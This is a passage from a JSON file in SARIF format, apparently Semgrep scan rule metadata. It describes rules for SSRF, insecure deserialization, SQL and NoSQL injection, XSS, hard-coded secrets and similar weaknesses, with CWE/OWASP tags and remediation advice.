[https://dispatchhttp.org/Dispatch.html](https://dispatchhttp.org/Dispatch.html)\n","text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","id":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","name":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"help":{"markdown":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","id":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","name":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","id":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","name":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf","id":"java.servlets.security.tainted-ssrf.tainted-ssrf","name":"java.servlets.security.tainted-ssrf.tainted-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf.tainted-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"help":{"markdown":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2)\n","text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","id":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","name":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"help":{"markdown":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session)\n - [https://en.wikipedia.org/wiki/Session_poisoning](https://en.wikipedia.org/wiki/Session_poisoning)\n","text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session","id":"php.lang.security.injection.tainted-session.tainted-session","name":"php.lang.security.injection.tainted-session.tainted-session","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-session.tainted-session"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","id":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","name":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"help":{"markdown":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"helpUri":"https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","id":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","name":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"help":{"markdown":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n","text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","id":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","name":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","id":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","name":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint","id":"rust.rocket.nosql.mongodb-taint.mongodb-taint","name":"rust.rocket.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection","id":"java.lang.security.audit.el-injection.el-injection","name":"java.lang.security.audit.el-injection.el-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.el-injection.el-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","id":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","name":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","id":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","name":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli)\n - [https://www.npmjs.com/package/pg](https://www.npmjs.com/package/pg)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli","id":"javascript.express.pg.express-pg-sqli.express-pg-sqli","name":"javascript.express.pg.express-pg-sqli.express-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.pg.express-pg-sqli.express-pg-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","id":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","name":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate)\n - [https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345](https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345)\n","text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","id":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","name":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: 